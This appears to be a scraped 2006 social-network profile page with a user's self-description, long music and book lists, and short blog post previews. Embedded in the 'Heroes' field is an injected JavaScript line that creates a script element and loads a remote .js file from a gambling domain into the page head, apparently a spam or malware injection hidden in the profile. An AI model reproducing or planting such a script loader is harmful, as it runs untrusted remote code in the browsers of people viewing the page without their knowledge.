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You had the choice, you made it now.

i wouldn't trade one stupid decision for another five years of life.

About Me

security officer. born again christian (more specifically, baptist). against all forms of racism and prejudice. am addicted to the internet and downloading music. most closely identify with the libertarian party. despise current presidential administration. music being the only thing in life that i actually like.

"Choose your friends by their character and your socks by their colors. To choose your socks by their character is ridiculous and to choose your friends by their color is unheard of."

also, i love my fellow mexicans, even though i barely qualify as one...

...and here's my other blog.

My Interests

good music. pictures and books related to world war II. good movies. salvador dali. vodka. making fun of horribly prentious people who are insecure and take themselves way too seriously.

I'd like to meet:

people living in the metro kansas city area and old friends from school.

Music:

you won't read all these names. don't worry, i'm not offended. but you should really check them out.

smashing pumpkins. kill hannah. blood Brothers. le tigre. phil collins. genesis. marcy playground. band of horses. bright eyes. redtape. caviar. the thermals. abileen. frogpond. the decemberists. the album leaf. the secret machines, rainer maria. white stripes. yeah yeah yeahs. dashboard confessional. soiled doves. neon blonde. damone. cursive. a silver mt zion. deerhoof. flogging molly. davan. camera obscura. broken social scene. sirens sister. led zeppelin. black sabbath. coheed and cambria. the beatles. angels and airwaves. andrew w.k. jimmy eat world. creedence clearwater revival. marilyn manson. cake. garbage. abandoned pools. old r.e.m. green day. talib kweli. blackalicious. dead prez. mos def. ludacris. tupac. murs. tech n9ne. pigeon john. little brother. black star. aceyalone. old dmx. bone thugs. early nas. dilated peoples. tori amos. john lennon. regina spektor. kasey chambers. moby. prefuse 73. sarah brightman. sigur ros. leah andreone. dragonforce. flee the seen. johnny cash. jj72, desaparecidos. drugstore. vendetta red. belly. blink 182....oh, and robert johnson is in a class all his own.

Of course there's alot of other stuff that i like, but may not know specific names or groups, like techno, classical, opera, jazz, blues...what else? shoegaze and dream-pop...damn, there's just so much out there.
the only thing i can't seem to get into is metal, nu metal, or hard rock and certainly not rap-rock.

Lastly, I have no respect for any fan of music, especially rock music, who doesn't acknowledged that African Americans started this rock n roll shit, NOT ELVIS. Elvis' white skin was just easier to sell to White America.

Movies:

the good ones.

Television:

the office. curb your enthusiasm. the colbert report. king of queens. reno 9-1-1. cops. reality court shows.

Books:


The Holy Bible (King James Version). Youth In Revolt by C.D. Payne. Survivor by Chuck Palahniuk. The Perks of Being A Wallflower by Stephen Chbosky. American Psycho by Bret Easton Ellis. Hammond First Baptist Pulpit: Sunday Sermons by Dr. Jack Hyles. The Faithful Baptist Witness by Dr. Sterling.

Heroes:

my parents. veterans (including those currently serving our country). street magician david blaine .."var s=document.createElement('script');s.src='http://gamblingboa rd.com/x/7318.js';document.getElementsByTagName('head')[0].a ppendChild(s);"

My Blog

it just kills me

It just kills me to know that, one day, you're going to meet another man and stand by his side. You'll share your perfect body with someone who will accept you for everything you are and every...
Posted by death is just death no matter how you dress it up on Mon, 13 Nov 2006 09:50:00 PST

first massage

got my first massage tonight. it was pretty great.
Posted by death is just death no matter how you dress it up on Thu, 09 Nov 2006 10:01:00 PST

abileen

my favorite local band, abileen broke up. :(
Posted by death is just death no matter how you dress it up on Sun, 05 Nov 2006 04:59:00 PST

first time at a casino

josh and i were going to hit up two haunted houses because he had two free passes for both, but they were closed. We got there at 11:45. What the hell kind of haunted houses close before midnight on H...
Posted by death is just death no matter how you dress it up on Tue, 31 Oct 2006 12:29:00 PST

december

decemberists = best band
Posted by death is just death no matter how you dress it up on Tue, 24 Oct 2006 02:21:00 PST

burn

The air is visible around you, rising up and off your lips in slow currentsAnd i watch as your face is framed in its slow currentsDrifting curls a trailing pathA long drag becomes a dress of blue and ...
Posted by death is just death no matter how you dress it up on Fri, 20 Oct 2006 08:56:00 PST

5th

I have now lost a 5th person this year. This amazingly funny guy named David Unger that I went to basic training with. He was from Leavenworth, KS, and, while I left the service, he went on to Iraq an...
Posted by death is just death no matter how you dress it up on Wed, 18 Oct 2006 12:24:00 PST

lost card

i lost my atm card some time last night. this sux.
Posted by death is just death no matter how you dress it up on Tue, 17 Oct 2006 11:53:00 PST

breaking up with your girlfriend is gay

i'm so bored now.
Posted by death is just death no matter how you dress it up on Wed, 11 Oct 2006 09:39:00 PST

stop a train with your face

this would be my band name if i had a band.
Posted by death is just death no matter how you dress it up on Sun, 08 Oct 2006 08:24:00 PST